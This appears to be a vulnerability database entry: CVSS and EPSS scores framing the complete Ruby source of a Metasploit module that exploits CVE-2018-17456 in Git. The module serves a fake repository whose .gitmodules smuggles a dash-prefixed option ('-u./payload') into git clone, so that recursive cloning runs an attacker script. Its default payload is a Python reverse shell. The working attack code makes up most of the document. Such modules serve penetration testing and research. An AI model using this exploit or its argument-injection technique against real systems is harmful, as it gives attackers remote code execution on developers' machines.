CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:P/I:P/A:P
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
EPSS
Percentile
97.1%
This module exploits CVE-2018-17456, which affects Git versions 2.14.5, 2.15.3, 2.16.5, 2.17.2, 2.18.1, and 2.19.1 and lower. When a submodule url which starts with a dash e.g “-u./payload” is passed as an argument to git clone, the file “payload” inside the repository is executed. This module creates a fake git repository which contains a submodule containing the vulnerability. The vulnerability is triggered when the submodules are initialised (e.g git clone --recurse-submodules URL)
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpServer
include Msf::Exploit::Git
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Malicious Git HTTP Server For CVE-2018-17456',
'Description' => %q(
This module exploits CVE-2018-17456, which affects Git
versions 2.14.5, 2.15.3, 2.16.5, 2.17.2, 2.18.1, and 2.19.1 and lower.
When a submodule url which starts with a dash e.g "-u./payload" is passed
as an argument to git clone, the file "payload" inside the repository
is executed.
This module creates a fake git repository which contains a submodule
containing the vulnerability. The vulnerability is triggered when the
submodules are initialised (e.g git clone --recurse-submodules URL)
),
'Author' => 'timwr',
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2018-17456'],
['URL', 'https://marc.info/?l=git&m=153875888916397&w=2' ],
['URL', 'https://gist.github.com/joernchen/38dd6400199a542bc9660ea563dcf2b6' ],
['URL', 'https://blog.github.com/2018-10-05-git-submodule-vulnerability' ],
],
'DisclosureDate' => '2018-10-05',
'Targets' => [
['Automatic',
{
'Platform' => [ 'unix' ],
'Arch' => ARCH_CMD,
'Payload' => {'Compat' => {'PayloadType' => 'python'}}
}
]
],
'DefaultOptions' => {'Payload' => 'cmd/unix/reverse_python'},
'DefaultTarget' => 0,
'Notes' =>
{
'Stability' => [ CRASH_SAFE ],
'Reliability' => [ REPEATABLE_SESSION ],
'SideEffects' => [ ARTIFACTS_ON_DISK, SCREEN_EFFECTS ]
}
)
)
register_options(
[
OptString.new('GIT_URI', [false, 'The URI to use as the malicious Git instance (empty for random)', '']),
OptString.new('GIT_SUBMODULE', [false, 'The path to use as the malicious git submodule (empty for random)', ''])
]
)
end
def setup
@repo_data = {
git: { files: {} }
}
setup_git
super
end
def setup_git
# URI must start with a /
unless git_uri && git_uri.start_with?('/')
fail_with(Failure::BadConfig, 'GIT_URI must start with a /')
end
payload_content = "#!/bin/sh\n#{payload.raw} &"
payload_file = Rex::Text.rand_text_alpha(4..6)
submodule_path = datastore['GIT_SUBMODULE']
if submodule_path.blank?
submodule_path = Rex::Text.rand_text_alpha(2..6).downcase + ":" + Rex::Text.rand_text_alpha(2..6).downcase
end
unless submodule_path.include?":"
fail_with(Failure::BadConfig, 'GIT_SUBMODULE must contain a :')
end
gitmodules = "[submodule \"#{submodule_path}\"]
path = #{submodule_path}
url = -u./#{payload_file}
"
blob_obj = GitObject.build_blob_object(gitmodules)
@repo_data[:git][:files]["/objects/#{blob_obj.path}"] = blob_obj.compressed
payload_blob = GitObject.build_blob_object(payload_content)
@repo_data[:git][:files]["/objects/#{payload_blob.path}"] = payload_blob.compressed
tree_entries =
[
{
mode: '100644',
file_name: '.gitmodules',
sha1: blob_obj.sha1
},
{
mode: '100744',
file_name: payload_file,
sha1: payload_blob.sha1
},
{
mode: '160000',
file_name: submodule_path,
sha1: blob_obj.sha1
}
]
tree_obj = GitObject.build_tree_object(tree_entries)
@repo_data[:git][:files]["/objects/#{tree_obj.path}"] = tree_obj.compressed
commit_obj = GitObject.build_commit_object(tree_sha1: tree_obj.sha1)
@repo_data[:git][:files]["/objects/#{commit_obj.path}"] = commit_obj.compressed
@repo_data[:git][:files]['/HEAD'] = "ref: refs/heads/master\n"
@repo_data[:git][:files]['/info/refs'] = "#{commit_obj.sha1}\trefs/heads/master\n"
end
def primer
# add the git and mercurial URIs as necessary
hardcoded_uripath(git_uri)
git_url = URI.parse(get_uri).merge(git_uri)
print_status("Malicious Git URI is #{git_url}")
print_status("git clone --recurse-submodules #{git_url}")
end
# handles git clone
def on_request_uri(cli, req)
req_file = URI.parse(req.uri).path.gsub(/^#{git_uri}/, '')
if @repo_data[:git][:files].key?(req_file)
vprint_status("Sending Git #{req_file}")
send_response(cli, @repo_data[:git][:files][req_file])
else
vprint_status("Git #{req_file} doesn't exist")
send_not_found(cli)
end
end
# Returns the value of GIT_URI if not blank, otherwise returns a random .git URI
def git_uri
return @git_uri if @git_uri
if datastore['GIT_URI'].blank?
@git_uri = '/' + Rex::Text.rand_text_alpha(4..6).downcase + '.git'
else
@git_uri = datastore['GIT_URI']
end
end
end
CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:P/I:P/A:P
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
EPSS
Percentile
97.1%